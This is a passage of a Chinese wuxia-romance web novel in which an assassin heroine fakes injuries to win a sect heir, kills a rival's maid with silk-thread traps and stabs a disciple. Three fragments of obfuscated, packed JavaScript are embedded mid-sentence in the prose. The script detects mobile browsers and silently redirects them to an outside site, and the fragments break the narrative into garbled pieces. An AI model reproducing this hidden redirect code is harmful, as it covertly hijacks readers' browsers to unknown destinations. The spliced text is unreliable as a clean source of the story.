其余人相互看了一眼,都是一样的慌乱无措,那拿事的侍仆道:“我去寻屈术先生,姑娘等我。”便下去了。 其余人也就下去,房间里复又清静起来。 趁着这无人的空当,她勉强支起身子下床,一步一栽、踉踉跄跄地,走去妆镜前。 一看,方知为何将其余人吓成那个样子。 满面殷红,血顺着颊侧流进耳朵后干涸,脸上形成几道诡异凄厉的血痕。她又一身白裙——顾止素来爱白,眼下白衣更是不可直视,一塌糊涂。 最可怖的,是她那一双原本秋水粼粼的眸子。 现下竟然连眼白都是血红,活像怨念极深前来索命的厉鬼。 看得她一个不稳,摔在地上。 ……竟然变成这副模样了,幸好她自己起来看了一看。 这幅样子,不可能会有谁心动。 若是被顾止瞧见,她失血而死都算好的,就怕死又死不成,任务又再难推进。 她想再站起来,却一时无论如何站不起来,只能手脚并用地,爬去屋角,强撑着屋角桌子,站起来。 屋角放着一个用来盥洗的铁盆。 她舀着水,细细地将血迹揉去了,一张脸重又变为素白,可是眼底竟然仍是一片血红。 洗不掉。甚至在洗的时候,眼底又出了血,将一张脸又染红了。 她撑在妆镜前,想了半天,最终摇了摇头。 不行。 于是干脆回了床上,用手将新落的血拭去,闭上眼睛。 这幅样子,睡着或者晕倒,都比醒着好。 * 南琼霜再醒来的时候,天已黑了。 她却没见着顾止。 不止如此。 环视一周,屋里连个人也没有。 门关着,屋外灯笼透着微微的红色。窗外虫鸣阵阵,灯笼的流苏在夜风里安静摇晃,三两片落花从窗子打着旋飘进来。 除了虫鸣,只有丫鬟侍仆们规规矩矩的脚步声。 一切都严丝合缝地如常,甚至连她桌上茶杯中水的高度,都与早上雾刀搁下时无二。 仿佛今早她流血流得浸透了床铺,仅仅是个梦。 她的毒不曾发作过,也不曾流过血,屋内人不曾惊慌,也无人去通报过屈术。 至于顾止,仅仅是一整天忙于练功或公务,不曾回来。 她心里纳闷极了,推开门,想去寻那个她托了话去找顾止的小丫鬟。 却是那个拿事的阿松站在门外,向她一行礼。 “姑娘醒了。用夕食吧。” 没等她再说下一句,那侍仆已经垂着眼睛退开一步,后面闪出一个端着食盘的丫鬟,进来放下,便关上门走了。 “请问……”她打开门。 阿松立在廊下,神色淡漠,“姑娘还有事?” “我的病……?” “屈术先生将您医好了。”话毕,转身就走。 连个追问的时机都不给她。 她悻悻关上门,一头雾水地坐在桌前。 却忽然发觉,今日的菜色与平日不同。 平日似乎是揣测着她口味清淡,大多是些做得鲜美的时蔬,不然便是些白灼虾、清蒸鱼之类。 今日,却是肝尖、肺片、五红汤和甜粥。 全是补血的菜。 有资格吩咐厨房、会为她而吩咐厨房的人,只有顾止。 虽然他连面都没让她见一面。 她垂眸看着那几道菜,只觉得有点棘手。 顾止来了,听了她“临死之前,有话要说”这种悲情的话,看了她那个样子,甚至治好了她。 但就是不愿意再见她一面。 甚至特意吩咐过下人,再不对她多说一句。 像她是什么瘟疫似的。 这个样子,摆明了是井水不犯河水,顾止并不想再与她有任何关联。 她也不知道是哪里惹怒了他。 或者,是惹怒;或者,是怀疑;或者,是门派中更有权势的人下令。 或者,是他刻意回避。 究竟是为什么? 雾刀曾说,是宋瑶洁提醒了他,说了她一些破绽之处,故惹了顾止怀疑。 但没想到,他竟然都不欲向她求证,甚至连一个辩解的机会都不给她。 更没想到,那样心软的人,见了她浑身是血地躺在床上,最后一句话是想见他,他竟然硬得下心肠,连面都不肯见。 是她此前的感觉错了吗?他对她,从来就只是点头之交? 她的筷子在油汪汪的肺片中间点着,良久,一片也没夹。 终于,放下筷子。 头又开始痛了起来。 此前那么多心思,当真是白费一场? 身旁伸过来一双手。雾刀:“给我双筷子。” 南琼霜:“滚。” 雾刀:“筷子你没用啊。不吃了是吧?”遂把筷子从她指间直接抽走。 南琼霜大翻一个白眼,“没吃过饭?” 雾刀不语,只是嚼嚼嚼。 良久。 “好吃。咱走的时候把他厨子也捎走。” 南琼霜气得发觉自己眼下很饿,端起粥来,舀着吹了两口。 雾刀忽然道:“这男的挺在乎你的,这么多好饭。” 哪壶不开提哪壶,她没好气道,“你哪只眼睛见着了?闹得这么大,想用个苦肉计,人家连见我一面都不肯。” “我可是两只眼睛都见着了。”雾刀捧着那盘肝尖吃得起劲,“小丫鬟请了两次,两次都没来,第三次,你那会真快血尽身亡了,我正想要不要下去看看,人来了。” “来了之后,装镇静,紧张得要命。人多,没好意思表现出来,但后来那个大夫来了,说你这个情况,可以有两种治法。” “一种就是止血。但你亦晓得,七乌香木基本无解,纯粹治标不治本。” “另一种,便是回元丹。” 她舀着一勺粥刚想喝下,一下愣住,“回元丹?那不是……” 雾刀点头:“号称‘是毒解三分’,千金难求一颗。自药僧去世后,存世不过九颗,五颗流入皇室,江湖只存四颗的,回元丹。” “他可是拿这玩意儿来顶了你的七乌香木。” …… 南琼霜捧着碗,垂着眼眸,愣怔了许久。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961884|161080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 无端就想起那一句,“楚姑娘未免太不爱惜自己身子”。 他竟然用这种药来治她? 来治一个来历不明、心里已经生了疑窦、或有可能致他于不仁不义之地、因此立誓不再相交的人? 仅仅因为她因他而受伤,哪怕明知她可能是心怀鬼胎、自导自演? 她一时之间不知道说什么好。 这世界上,竟有这样的傻子。 “所以我说,”雾刀放下了碗,“南琼霜,做得好。” 他说,“你一如既往,手到擒来。” 南琼霜沉默。 雾刀吃饱喝足,又隐入了阴影中。 南琼霜只一个人,坐在桌前,握着汤匙,默了许久。 良久,她终于不得不承认一件事。 顾止,和她此前所有任务对象,都不一样。 他是个好人。 * 熬过了七乌香木的发作后,像她所预料的那样,她许久没再见到顾止。 哪怕她打着道谢的名头,写过信、传过话、也曾在他再次受罚的时候,在定心瀑旁等过他。 可是,他径直入了密林,看都没看溪边的小舟一眼。 她自讨没趣,独自回来了,后来便再也不做这些热脸贴冷屁*股的事。 但是,虽然这条线卡住了,该办的事还得办。 要再寻个破局之法。 一个夜晚,南琼霜点上了一支蜡烛,在书桌上铺开一张纸。 宋瑶洁,到底怎么处理,她需要想想。 若要杀,难是一定难的,但若非要办,世上没有办不到的事。只是杀她所需的力气,和事后脱罪掩盖所需的精力,与除去她的益处相比,孰轻孰重的问题。 宋瑶洁若无,她在山上唯一的竞争者便消失了,她可以肆无忌惮地在那个心软又善良的天真君子旁边吹枕头风,取他的心如探囊取物。 有了他的心,他的命就好取了,遑论玉牌。 只是,若要杀她,并不容易。 “如何做到”还只是最简单的问题,难的在于“如何脱罪”。 宋瑶洁在山上已经快二十年,积威已久,平时与其他人似乎也并无什么大矛盾。她为人不错,只是一板一眼些。 只与南琼霜,闹过一些不愉快。 何况,南琼霜刚上山多久。 若真闹出事来,便是“那古怪女子一上山,便与大师姐起争执,之后不知怎的,少掌门同师姐聊过后便疏远了那女子,再之后,大师姐便出了事”。 便真是个傻子来,也能瞧出其中不对,何况顾止只是心软,不是傻。 再加上,山中人对她的态度原本就十分微妙,哪怕没有证据,大多也都会相信是她——人会相信自己愿意相信的东西。 到那时,即便没证据,传来传去,顾止也早晚疑心到她头上。 倘若当真如此,从他起疑那天起,她使劲浑身解数,也不可能骗他爱上自己。 要除去宋瑶洁,除非她可以证据确凿地与之无关。要么,是山内说得上话的人愿为她证明无罪,要么,是在众目睽睽之下,有一个有目共睹的凶手。 换言之,如果真要杀宋瑶洁,不论哪条路,现在,她需要一枚棋子。 一颗,要么能帮她作证,要么能替她顶罪的棋子。 她搜索着记忆,忽然想起一个人。 或许可以试试看。 13. 第 13 章 然而,她尚不知道那人脾性如何,住在哪,能否为她所用。 但不论如何,眼下她需要一个变量,一个新的可能性。 她垂下眼眸,心里想。 务必走出这院子,出去碰碰运气。 第二日,南琼霜下了厨房,亲自做了一碗玫瑰银耳莲子羹,送到了顾止房中去。 不出所料,直接被那管事的阿松拦在了门外。 “少掌门正在瀑下练功,姑娘送来也是无益,还是自己留着吧。” “请问顾公子几时回来?” 那阿松冷瞥了她一眼:“姑娘寻少掌门所为何事?” “我只是想,那日少掌门赶回救我,我理应当面道谢。” “救了姑娘的是屈术。”阿松道,“少掌门吩咐过,姑娘只需安心解毒,旁的就不必了。” “旁的就不必了”。 他语气竟然已经这样礼貌疏离。 她低下头,抿着唇。 许久,抬起头来,“公子不见我……是因为大师姐吗?” 阿松一愣。主子的事情,他们这些奴仆断不敢置喙,何况这女子,眼下正处在山内风口浪尖,不知道多少人盯着。 他打着太极,“少掌门平日事务繁忙,不仅自己要精进功夫,还有诸多事要调动协调,并非避姑娘不见,还望姑娘心宽。” 她却不接这一套,自顾自地继续道,“如果我……如果我去寻大师姐道歉,公子能否再见我?” 阿松见她一副对顾止动了心,卑微相思不肯死心的样子,只觉得这女人当真是不知自己几斤几两。 多少女子倾心于少掌门,难道因为少掌门可怜她,将她带上山来,就自以为自己特殊了吗? 他道:“与宋师姐无关,少掌门不过是忙得脱不开。姑娘请回吧。” 她垂下头,良久,很失落地叹息一声。 捧着碗,很失望似的离开了。 其实也不过是演戏。 能否见到顾止,根本不重要。今日她来,就没以为顾止会见她。 重要的是,把话递到。 阿松是顾止的身边人,她同阿松说过什么,若有必要,阿松会一五一十地告诉顾止。 “好了,线都埋好了。”她笑笑,道,“雾刀,盯着点机关。我们去找那个人。” * 把那碗银耳莲子羹放进屋里,推开院门,刚往外踏了一步,就被门外守着的侍卫拦下。 “姑娘不可擅自出院。” 南琼霜早预料到,怯怯地福身行礼,“奴听说前些日子无意惹了大师姐不快,想去师姐院里,当面向她道歉。” “这……”侍卫略一思索,“属下未得顾公子吩咐,不敢放姑娘走。” “若有什么事,我一力承担。”说着,奉上一张签了字、画了押的字条。 上次,她便给了颂梅祁竹这样一张东西,她们二人便放了她。 再抬步的时候,侍卫并没有拦着。 她心里一喜,跨过了门槛。 自己一个人出去,说不定还真会中几个暗器,她若不寻些由头,回来受了伤,全是她自己的错。 若是打着宋瑶洁的名头,就不一样了。虽然其余人仍不会信她,至少在顾止那里不算自作自受。 呼吸着清新的山风,南琼霜抬眼,只见到一片湛蓝的天和苍翠的密林。 暮雪院不似漱玉斋,地势高,开了门便是天,山脚那些极高的巨木,丛枝微颤,搔着天底。 多久没出这院子了。 因着这点自由,她有些心情好。 这时却忽然见了一张熟悉面孔。 颂梅捧着一个匣子,登着上山入院的石阶,在石阶尽头露出头来。 未等南琼霜反应,那守着院子的侍卫忙不迭道,“颂梅姑娘,楚姑娘刚好欲去漱玉斋,我走不开,颂梅姑娘不妨跟楚姑娘一同吧。” …… 南琼霜错愕转回身。 对上了她诧异的目光,颂梅想了想,点点头。 ……居然在这时候,碰见了宋瑶洁的婢女。 南琼霜垂眼,收敛起几次三番翻涌上来的杀意,顺从福了福身。 “那有劳颂梅姑娘了。” * 密林中十分静谧。如今正是清晨时候,阳光从重叠交错的树枝当中斜斜照进来,飞鸟扇着翅膀穿过光束,带起空气里一些发光的微尘。 空气潮凉,带着些草木香气。 南琼霜和颂梅一前一后,在树林中的一条狭窄石子路走着。 颂梅素来不喜南琼霜,两人一直无话。 清晨清脆的鸟啼中,忽然多了一个人声。雾刀:“得想个办法摆脱这麻烦女人。” 南琼霜跟在颂梅身后,烦躁地闭了闭眼。 她当然知道,不然怎么去见那个人,难道还真去见宋瑶洁吗? “楚姑娘。”正心烦意乱,颂梅却忽然止了步,身侧是另一条窄窄的土路,未铺石子,延伸进主路外的树林里去,“这条小路并未有任何机关,我们从这条路走,可以少些担忧。” 南琼霜看了一眼,差点按耐不住,笑出声。 雾刀在她耳朵里笑得控制不住,发出一阵鹅叫。 暂且不说这路看着有多可疑。 会有人这般单刀直入,将人引下主路,带到一条人迹罕至、引入密林的小路,而不铺垫的吗? 甚至连理由都这样简单,只四个字,“少些担忧”。 她难道不想想,如果没有机关,以她颂梅的脾气,又为何要陪她一齐走? 这是真拿她当傻子呢。 那漏洞百出的计划和拙劣的演技,旁人或许分辨不出,南琼霜这种人,略一搭眼就心知肚明,甚至无需第二眼。 看着颂梅那煞有介事的认真的眼睛,南琼霜心里发笑,想,今天她若不接这个话,不知颂梅还下不下得来台了? 于是她颔首,顺从地下了主路,踏上那条略有些泥泞的曲折小径,接道,“原来这山上还有这样的路。多谢姑娘领路,不然我当真无从知晓,一直提心吊胆。” 颂梅笑了一下,顿住脚步容她先过,自己缀在后面。 走在小路上,一时尚没见到颂梅精心为她准备的机关,两人无话。 可是,颂梅这时竟主动和她攀谈了起来。 大约是怕她因僻静生疑,故套些近乎。 南琼霜当真觉得她手段幼稚极了,几乎有些无奈,伸出手揉了揉眉心。 这时,又听颂梅做作惊呼了一声:“咦,红叶子!” 没等她问,颂梅道,“姑娘有所不知,天山上这些树有些说法,说若月老显灵,便会在千万片树叶之中,生出一片红的,叫有情人瞧见。” “瞧见了的人,就是有缘人。若将叶子摘下,便可与心上人长长久久。” 南琼霜懂了,红叶是机关。 于是她踩着湿软的泥土和泛黄的落叶过去,仰起头,看着那片红叶。 伸手欲摘。 没摘下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961885|161080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她转过头,狐疑地看了一眼颂梅。 颂梅见她一摘却没摘下来,也愣住了。 想跟过来,却在抬脚的一瞬间,又停下了脚步。 她不敢靠近。 连演都不想演了? 南琼霜噙着笑,又仰起头,两只手一齐揪着那片火焰一样的红叶,像雪簇里面有一点火苗。 不论怎么揪,都揪不下来。 她回过身,求助道,“颂梅姑娘……这叶子怎么……” 颂梅伫立在原地,不敢轻举妄动。 南琼霜唇角勾起一丝笑。 不是你要来的吗?如今,可不由你躲在那。 “颂梅姑娘,这叶子如此罕有,我实在舍不得留它在此处,可否求你……” 颂梅满腹疑惑,看了看南琼霜急切又深信的面孔,又看了看那诡异的叶子。 少掌门固然最近冷落了她,但若真想在少掌门眼皮子底下取她性命,还是不会十分容易。 今日,天时地利人和,或许是最好的时机。 或许只是机关卡住了。这种事情倒也常有。 颂梅想,难道她还会被一个身无长物不通武功、肖想少掌门心切的废物玩弄吗? 她走上前,见南琼霜已经远远退开,不可能再伸手过来触动机关,放心站在树底,细细观察那一片红叶。 风一吹过,枝丫摇动,湛蓝的天色里,那片红叶摇了一摇。 忽然,日光凝出了一个浅金色的小光点,往旁一窜,拉出一根细细的线。 一根发着光的丝线。 原来是被蛛丝牵动了。 颂梅放下心来,手上去除那一根细细的丝线,“好了,姑娘可再……” 光点游动,那蛛丝无声地一紧。 颂梅一怔。 在她清楚明晰的视野里,那片红叶,轻轻,被蛛丝牵着,扯落了。 她眼睁睁看着那一片火焰般的红叶,转了几个圈,慢慢、慢慢落地。 那一瞬间,忽然感觉胸口被什么撞击,于是人仰翻了,眼里突兀地切进了一片明朗的蓝天。 她迟钝地想,她似乎记得,这片叶子如果掉了,会发生一些可怕的大事。 无数泛着光的丝线窸窣汇聚向同一个方向。在尽头,丝线收束成一把月光,南琼霜哼着小曲,修长的手指缠着丝线,绕在指尖,仿佛一个透明的茧。 不紧不慢踱过去,雪白的裙摆迤逦过地面杂乱的树叶,停在了颂梅呕出的一小滩鲜血旁。 颂梅恨极,一双眼睛怨毒得几乎要喷射毒液,胸膛不甘又不甘地急速起伏着。 南琼霜低头:“呀,还没死?” 颂梅咬着牙笑:“我就知道,你不是那么简单。” 南琼霜笑开:“猜对啦?”将丝线尽数藏入袖中,“夸夸你。” 颂梅不语,只是一排牙齿发狠地咬着嘴唇。 良久,她恨道,“你居然敢暗算我……!杀了我,你以为你逃得掉吗?告诉你,大师姐早猜出你不是好人!抓住你只是时间问题。知道细作入山山规是什么吗?打入山内水牢,在溶洞的盐汤子里喂鳄鱼!你……” 南琼霜眉毛都没挑一下,抬脚踩上了颂梅洇出血迹的胸口,用力碾了碾。 “宋瑶洁?” 一小股鲜血喷泉似的窜出伤处,在南琼霜漂亮的脸上溅了几小滴,人愈发美得妖异。 颂梅痛极,再说不出一句话。 她笑得温柔,声音轻轻:“宋瑶洁,她猜对了?那……也夸夸她。” 14. 第 14 章 颂梅死了。 她其实今日并未想取颂梅性命,至少在暮雪院前见到她时并没想。 奈何颂梅想杀她。 南琼霜摇摇头笑了一下,不自量力的东西。 然后朝着苍翠茂盛、郁郁葱葱的密林中喊了一声,“雾刀。” 林声如涛,一阵风起,她站在绿影环绕中,林叶交错响动。 一个身影自她身后显现,一身黑衣,空中袍角飘扬,抱着肩膀,轻盈落地。 “你不该杀她的,惹是生非。把她困在机关里就好了。” 南琼霜拍拍衣角上的灰,轻描淡写道,“那机关是专取人命的机关,我可不知道怎么救她。何况……” 雾刀:“何况?” 南琼霜冷睨了他一眼,笑道,“颂梅受托送我回漱玉斋,却欲在中途杀我,这必然是奉了宋瑶洁的意思,否则我出了事,她一个婢女,担不起。” “既然宋瑶洁欲杀我,一次不成,也有二次。这把剑是悬在了头上,不论颂梅生死,都不会改变。既然要杀,被杀二次和被杀二十次也没有太大的分别,我不怕得罪宋瑶洁。早杀一个,宋瑶洁断个臂膀,我说不定更能占得先机。” “何况,这几日那女人给我添了不少麻烦,我一直在想是否要除去她,只是忌惮此事的连锁反应。既然颂梅是宋瑶洁身边心腹,不妨以她之死试探一下山内对此的反应,好权衡一下宋瑶洁这条命。” 雾刀冷笑一声,“说的倒是都对,但我就想问你,熟悉地形的一个被机关杀了,手无缚鸡之力的一个却逃了,此事你又如何解释?” 南琼霜转回身似笑非笑看着他。 “你最近是脑子当下酒菜吃了还是?” 雾刀把一双手捏得咯吱咯吱响,太阳穴怦怦跳。 南琼霜双手一摊,笑了一下,声音无辜又轻巧,“还用说吗?当然是靠你。” 雾刀愣了一下,很快明白了她的意思。 他自背后缓缓掏出一张弓,和一根闪着寒芒的箭。 吊儿郎当拉开弓,准星对准了绿影林荫中间,白衣乌发的南琼霜。 南琼霜未躲,站在原地,神色自若,甚至带着一点儿笑。 雾刀笑道,“当真是疯子。” 弓弦嗡鸣,来不及看清那箭是如何到达,南琼霜已经飞了出去,像一只破败的纸鸢。 再勉力支起身体的时候,锁骨处,一根箭矢贯穿过去,白衣迅速被血洇透,后背露出一点钻出肉的铁箭头。 南琼霜咬牙喘了一口气,笑,“还真是狠。” 雾刀耸耸肩,“狠得过你?”转身,跃进了茫茫如海的树影之中。 她匀了匀呼吸,心道闹出这些事来,倘若再去寻那个人,未免会叫人生疑,想了想,决定打道回府。 她嘶着气,勉强站起身来。中箭这种把戏,她自导自演过不是一次两次,但演过再多次,还是痛得厉害。 山上地形她不清楚,于是只好原路返回暮雪院。 走回了方才她们下来的石子路,走了几步,一阵风吹,吹得密林毛茸茸的树冠低低地压了下来。 云翳流过,不时掩着太阳,一时光影流转。 南琼霜眯起眼睛,抬头望着头顶天光变换,被日光刺得举起手来挡着太阳。 却忽然在支成棚的手底下,瞧见了,这一条路不远处,闪着光的树冠之上,有一座直插进入蓝天中的,突兀的高崖。 高崖之上,又一座平地拔起的,突兀的高楼。 南琼霜眨了一下眼。 杀手敏锐的直觉,让她几乎瞬间就意识到。 那座楼,不一般。 不一般到,可能的答案,几乎只有一个。 据说,藏着镇山玉牌的,星辰阁。 风渐渐止息,方才被压弯的树海恢复回来,在湛蓝的天色里偶尔起伏。 那淡青色的远崖,复又掩在葱翠之后,看不见了。 南琼霜捏了捏拳,指甲几乎掐进肉里。 偏偏是这时候。 偏偏是,她刚中了一箭,着急回去演戏的时候。 但是—— 她不自觉咬着一点唇,垂眸看了看胸前随着呼吸起伏的羽箭尾。 忽然咬着牙,唇勾起一丝浅淡的笑。 得去。 在山中被机关所伤,回去之后,顾止定然不会再轻易放她出门,她想独自来探星辰阁,不知道要再费多少功夫。 机不可失,失不再来。 中箭? 南琼霜垂眸,看了一眼胸前的羽箭尾,只一瞬就轻飘飘瞥开。 面上浅笑,有点轻蔑,有点事不关己。 任务面前,中箭算得什么。她为了什么来的,她自己最知道。 该办的事,折了腿、断了牙、咽了气,也得办。 * 天山上的机关其实并不如她预想的那般多。 她循着印象里的方向,下了石子路,穿过密林,径直去了那高崖。 不知走了多久,拨开眼前的树影,一片天光大亮。 那悬崖绿草茵茵,静静立在靛蓝色天空下,风一过,草尖波涌如潮。 一座门窗紧闭的木阁楼,在悬崖上孤零零立着,除此以外崖上并无他物,仿佛平地拔起。 阁楼下的草丛里,繁花点点如海,尽是绛紫色的紫云英。 风中万花轻颤,流云从太阳上缓缓淌过,云翳的阴影投在摇曳的紫色花海上,日光晕出半圈淡淡的七彩弧光。 风中一片清冽芬芳。 她站在那悬崖前面,身后是光照不进的密林,抬头被日光刺得眯了眼睛。 这是星辰阁?竟然无人把守。 是其中机关已经足够防卫,还是她来错地方了? 倘若不是星辰阁,这种架势,也必然不一般。 她回过身,目光在身后的森林里警惕逡巡了一圈。 没有人跟过来。 再抬眼望去,崖上除了草丛、紫云英花海和这座阁楼,什么也没有,一个人影也不见。 南琼霜想了想,抬步往悬崖走去。 一阵山风吹过,吹得她雪白衣袖如旗子般展开,她拢着凌乱不堪的长发,提起裙摆。 却在抬脚,堪堪踏进那纷繁的紫色花海时,生生顿住。 紫云英摇曳,鞋底停在花草半寸开外。 翠绿色闪着光的草浪里,无数根透明丝线,密密麻麻、纷繁错综地交织在一起,风一吹过,千万条丝线上光点窜动,一齐摇摆。 一张千头万绪、牵一发而动全身的网。 南琼霜蹲下身,收拢好风中飘动不已的长发和衣摆,伸出手指,将指腹衬在透明的丝线下,细细地看。 透明、轻盈、细韧、风吹不断。 这种丝线,她最熟悉不过。 雪蚕制的冰丝。 正与她镯子中的蛛罗丝是同一种材料。 这种冰丝,透明纤细,常人难以发现,然而质地极韧,绷紧时几乎锋利如刀,只要力气够大,足够将人的头颅生生割下。 交织成这样一张繁密的网,抬脚时只有被缠住绊倒、摔进网中的份。幸运些的,仅仅是鲜血淋漓、全身上下豁开百道口子;倒霉点的,就只有割颈喷血、血尽人亡。 神仙也不敢踏足这地方。 南琼霜站起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961886|161080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身来,小心地退开几步。 阳光刺目。她皱着眉,手遮着日光,往那高耸的阁楼中看去。 冰丝昂贵非常,要织成这样一张大网,造价只会更加不菲。 值得用冰丝设网护卫的地方,恐怕全天山只会有一个。 南琼霜缓缓笑开,一双眸子冷静而得意。 星辰阁。 她今日真是来对地方了。 既然草丛里设下了这种机关,入口定然是在别处。 以她以往的经验,这种情况,要么入口实际在阁楼不远处,经密道入阁;要么阁楼近处有机关,触动后露出真正的入口。 再或者—— 南琼霜脚尖轻点跃上空中,紫色花海从她身下急速略过,几步,人就冲去了悬崖边。 在悬崖边缘,堪堪站定。 悬崖边,风大得几乎要将人吹倒。她长身轻盈立在悬崖与天的交界,身形纤弱,长衣被风吹得仿佛破败的昙花。 她站在那几乎要将她掀翻的风里,长发飞舞,神色淡淡,垂眸往下看了一看。 一看,就笑了。 果然。 真正的入口,藏在悬崖底下。 悬崖下,一棵自山岩石缝中艰难生出的花树,根插进山体,树干横亘在空中。这个季节,正开着一树灿若云霞、如梦似幻的花。 山风里,雪色花片被扬上悬崖,与长发一起轻轻擦过她脸颊。 花枝摇动间,隐约可以瞧见,悬崖下的峭壁上,凿出了一串石阶,尽头是一扇门。 南琼霜几乎没有犹豫,腾身就跃下了悬崖。 踩在花树的枝干上,树干往下压了一寸,摇下了几片落花。 她扶稳身子,手上攀着一根相对结实的树枝,瞄准层叠花云下露出一角的石阶,双腿在空中起势一荡。 松手的一刹那,却忽然看见,身下摇动的树冠里,两根丝线,风中摇曳,闪闪发光。 已经避无可避,她在空中猛地一个旋身,从两根丝线当中,堪堪钻了过去。 肩膀却突然一阵钻心的刺痛。 她竟然忘了,左肩还插着一根箭。 她痛得一个不稳,身子一歪,眼睁睁看着自己窜出了花云,却不是她预想的方向。 距那峭壁上刻出来的石阶,只有咫尺之遥。 却擦着石阶,堪堪错过。 她根本来不及反应,袖中登时放出一对白绸飞袖,长袖呼啸着破开长风,游龙般一齐窜向那花树。 拴在了那颗树上,扯得那树摇落花瓣如雪。 中了箭的肩膀却刺痛得几乎无法容她反应,等发现的时候,她已经松开了一侧的长袖。 整个人仅靠一根白绸,吊在悬崖深渊之上。 深渊里是一条宽阔的江。 山风凛冽,江面波光粼粼,江岸两侧的峡谷,岩石却狰狞如犬牙。 倘若掉下去,铁做的身子也得砸烂。 她咬牙,第一次觉得,带伤勉强,着实不该。 雾刀呢?这时候雾刀又去哪了? 不是在旁边看着吗?这个时候,还不出来? 头顶的树枝突然咔擦一声响。 她抬头,胆战心惊地看见,那树枝已经断了六分。 雾刀呢?还没到他觉得他应当出手的时候? 他到底在等什么? 没等她想明白,头顶传来最后一阵树枝断裂的声音。 她在空中一滞,接着,乌发向上轻轻飘起来。 她全身血液仿佛凝结成冰,耳边山风飒烈。 终于,手中长袖飘摇,人大睁着眼睛,径直落进那无声张开巨口的深渊。 15. 第 15 章 南琼霜紧紧闭上眼睛。 却忽然听见,在那呼啸山风之外,还有了些别的什么声音。 什么东西,破空而来。 她狐疑睁开眼睛,只看见湛蓝的天和飘摇零落的花片。 还有,一个劈风破云的身影,一柄游龙般的闪光细剑。 一齐直奔她而来。 风中只听那人带着笑,一句揶揄:“落花犹似,坠楼人——” 然后,不知怎么,竟然一瞬窜到了她身前,手臂轻而易举揽住了她的后背,托住了她。 脚在落花上,借力一蹬。 两个人竟然一齐旋着窜上了天空,蜻蜓般,向上跃出悬崖数尺。 南琼霜只看见方才还遥不可及的悬崖顶端,下一瞬竟然在很远的下方。她腾空数尺,方才见到的紫云英花海尽在身下,夹着几尺蔚蓝天空。 那人揽着她,脚尖在阁楼翘起的檐角轻巧又点了下,两人顿时踏着清风,几步跃过了遍布冰丝网的草丛花海,稳稳立在远处树下。 终于,放开了揽在她腰间的手。 南琼霜装着很惧怕似的,双手抱住自己孱弱的肩膀,用微耸的肩头和垂下的长发,掩去晦明不定的神色。 不去看他,手在袖中缓缓攥紧。 身后那人的声音慢条斯理,玩世不恭。 “姑娘怎么好端端地,来鄙处跳崖?” 南琼霜不语,沉默着咬了一下嘴唇。 “并且……”勾着她长发,轻佻地将她左背上的长发拨去右边,在她后背露出一点的箭头上,吊儿郎当地,拿手一弹。 又痛又恼,她闭了闭眼。 再睁开眼的时候,一贯盈动朦胧的水一般的眸子,冷冽清明,杀意暴涨。 她转过身来,笑意嫣然。 “李玄白?” 束着高马尾的少年桀骜抱着肩膀,闻言,一丝惊讶也无,只是挑了挑眉毛。 他生得好看,剑眉星目,锋利洒脱,一张顽劣而俊艳的脸。 天山派入室弟子的弟子衣,他似乎自己做了改动,扎袖、收腰、肩线利落垂下。相似的衣裳,在顾止身上那般温和克敛,在他身上,竟然显得修身而凌厉。 勾魂夺魄的狐狸眼下,一颗泪痣,耳畔一颗鸽血红耳坠。 潇洒、难驯、锋芒毕露。 一种嚣张的美,如石榴石制的匕首。 朗朗日光下,她不由莞尔,摊手道,“真可惜呀,这不是被抓现行了吗?” 下一秒,袖中拿出一柄匕首,毫无犹豫,刺向对面少年的肩膀。 李玄白倒退一步,伸出手握住她手腕,将那刀锋生生格在几寸之外。 他笑着:“就听说山内前几天来了一个女子,少掌门为了她被师傅罚了好几回,我听着好奇,一直想见见。不成想,人直接送上门了。” 南琼霜一笑,“是吗?”行云流水地换手,刀光一闪高举一瞬,往他胸前一扎。 李玄白神色一凛,脸不敢相信地皱起来。 南琼霜莞尔,将那短刀“嚓”一声拔出来,带出一连串小血珠,“那现在呢,还想见吗?” 李玄白踉跄退开几步,半跪在地上喘着气。 南琼霜走过去,手里松松拎着那柄染红了的短刀,又觉得血脏了刀刃,于是从容在他雪白的弟子衣上抹了抹,“我原本确实是来找你的。” 不论是欲杀了宋瑶洁后找人作证,或找人顶罪,还是要继续吸引顾止。 这个李玄白,或许都是一枚可用的棋。 这个名字,连她难以踏出院门半步,都曾有所耳闻。甚至连顾止都曾为庆贺他出关,费心为他操办宴会。 山内能够与顾止平分秋色的男弟子,原本是她太好的一颗棋。 可惜—— 可惜,她的真面目,叫他给瞧着了。 “……真恶劣啊。”李玄白半跪在地,强自平稳呼吸,喘了半晌,语气倒还是不放在心上,“我刚救你,你就要杀我,哪里来的这种恩将仇报的女的。” 